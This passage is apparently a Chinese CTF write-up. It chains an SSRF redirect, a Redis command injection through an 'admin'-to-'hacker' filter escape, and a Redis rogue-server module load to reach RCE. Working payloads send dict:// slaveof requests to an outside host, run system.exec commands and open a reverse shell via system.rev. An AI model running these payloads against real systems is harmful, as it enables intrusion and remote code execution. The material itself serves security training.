        command = pack_command('GET', key)
        redis_socket.sendall(command)

        # 接收响应
        response = b''
        while True:
            chunk = redis_socket.recv(1024)
            response += chunk
            if response.endswith(b'\r\n'):
                break
    finally:
        redis_socket.close()
    if "$-1\r\n" in response.decode('utf-8'):
        return None
        # 提取真实内容
    result_start_idx = response.index(b'\r\n') + 2  # 跳过第一行响应
    result_end_idx = response.index(b'\r\n', result_start_idx)  # 找到第二个\r\n
    real_content = response[result_start_idx:result_end_idx]
    return real_content



def SET(key, value):
    redis_socket = connect_redis()
    try:
        # 发送命令
        command = pack_command('SET', key, value)
        command = WAF(command)
        redis_socket.sendall(command)

        # 接收响应
        response = b''
        while True:
            chunk = redis_socket.recv(1024)
            response += chunk
            if response.endswith(b'\r\n'):
                break
    finally:
        redis_socket.close()

    return response.decode('utf-8')


def WAF(key):
    if b'admin' in key:
        key = key.replace(b'admin', b'hacker')
    return key

正常来说应该是ssrf到python服务,但是这里貌似没有可以ssrf的参数

坐牢半天唐麻了,三个月前刚刚写过

https://blog.csdn.net/Jayjay___/article/details/140319709#:~:text=CVE-2024-1

首先验证SSRF是否存在,盯住redirect("/play")也就从/success跳转到/play

172.11.0.3:5000dockerfile给的python服务内网地址和端口

服务器上运行

from flask import Flask, request, Response, redirect

app = Flask(__name__)


@app.route('/play')
def exploit():
    # CORS preflight check
    if request.method == 'HEAD':
        response = Response()
        response.headers['Content-Type'] = 'text/x-component'
        return response
    # after CORS preflight check
    elif request.method == 'GET':
        ssrfUrl = 'http://172.11.0.3:5000/'
        return redirect(ssrfUrl)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1717, debug=True)

通过HOST头来控制跳转的,因为有检查 CSRF 攻击的防御手段,所以我们还需要同步更新Origin

接下来首先要拿到一个具有admin职权的用户。不难发现源码有漏洞。原理类似于PHP反序列化字符串逃逸,admin会被换成hacker(也有师傅用中文汉字进行逃逸)

以下是本地调试代码和payload毛胚

import base64,json


def add_user(username, password, role):
    user_info = {'password': password, 'role': role}
    user_info_json = json.dumps(user_info)
    user_info_serialized = base64.b64encode(user_info_json.encode()).decode()
    # print(user_info_serialized)
    SET(f'user:{username}', user_info_serialized)

def pack_command(*args):
    # 构建 RESP 请求
    command = f"*{len(args)}\r\n"
    for arg in args:
        arg_str = str(arg)
        command += f"${len(arg_str)}\r\n{arg_str}\r\n"
    return command.encode('utf-8')


def SET(key, value):
    # 发送命令
    command = pack_command('SET', key, value)
    command = WAF(command)
    print(command)

def WAF(key):
    if b'admin' in key:
        key = key.replace(b'admin', b'hacker')
    return key

add_user("jay1717adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin\r\n$48\r\neyJwYXNzd29yZCI6ICIxMTEiLCAicm9sZSI6ICJhZG1pbiJ9\r\n",'b','c')

#b'*3\r\n$3\r\nSET\r\n$352\r\nuser:jay17hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker\r\n$48\r\neyJwYXNzd29yZCI6ICIxMTEiLCAicm9sZSI6ICJhZG1pbiJ9\r\n\r\n$40\r\neyJwYXNzd29yZCI6ICJiIiwgInJvbGUiOiAiYyJ9\r\n'

服务器上部署脚本如下:

from flask import Flask, request, Response, redirect

app = Flask(__name__)


@app.route('/play')
def exploit():
    # CORS preflight check
    if request.method == 'HEAD':
        response = Response()
        response.headers['Content-Type'] = 'text/x-component'
        return response
    # after CORS preflight check
    elif request.method == 'GET':
        ssrfUrl = 'http://172.11.0.3:5000/login?username=jay1717adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin%0D%0A$48%0D%0AeyJwYXNzd29yZCI6ICIxMTEiLCAicm9sZSI6ICJhZG1pbiJ9%0D%0A&password=111'
        return redirect(ssrfUrl)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1717, debug=True)

用户名换成下面这个,这个用户已经有admin权限了

jay1717hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker

接下来应该是通过curl利用redis的漏洞,拿flag。内网redis主机应该是能访问外网的。

redis版本5.0,打主从复制

第一步。服务器构造被动连接模式恶意Redis服务器,监听本地端口21000。题目内网redis连上服务器上恶意redis后,exp.so回自动加载。

GitHub - Dliv3/redis-rogue-server: Redis 4.x/5.x RCE

python3 redis-rogue-server2.py --server-only

通过SSRF,用dict协议打

参数cmd的值如下,依次执行:

#查看当前redis的相关配置
dict://172.11.0.4:6379/info

#设置Redis服务器的工作目录
dict://172.11.0.4:6379/config:set:dir:./

#查看备份文件名,默认为dump.rdb
dict://172.11.0.4:6379/config:get:dbfilename

#设置备份文件名为exp.so【必要】
dict://172.11.0.4:6379/config:set:dbfilename:exp.so

#read-only【必要】
dict://172.11.0.4:6379/config:set:slave-read-only:no

#连接恶意Redis服务器,设置主服务器IP和端口【必要】
dict://172.11.0.4:6379/slaveof:124.71.147.99:21000

服务器构造的被动连接模式恶意Redis服务器显示连接成功,并且exp.so已经传过去了。

同时会发现,执行完dict://172.11.0.4:6379/slaveof:124.71.147.99:21000后刚刚逃逸出来的admin权限用户已经不存在了。这是因为主从之后主redis(我的服务器)上面的数据被复制到了从redis(题目靶机),我服务器上面的redis并没有这个用户。(并不是环境崩了)

此时按照之前的步骤重新逃逸一个admin用户出来,继续执行下面的:

#加载恶意模块【必要】
dict://172.11.0.4:6379/module:load:/data/exp.so

#切断主从复制
dict://172.11.0.4:6379/slaveof:no:one

#删除exp.so
dict://172.11.0.4:6379/system.exec:rm$IFS./exp.so

#卸载system模块的加载
dict://172.11.0.4:6379/module:unload:system

#执行系统命令【必要】
dict://172.11.0.4:6379/system.exec:env
dict://172.11.0.4:6379/system.exec:cat$IFS/flag
dict://172.11.0.4:6379/system.rev:124.71.147.99:11111

0 条评论
某人
表情
可输入 255
目录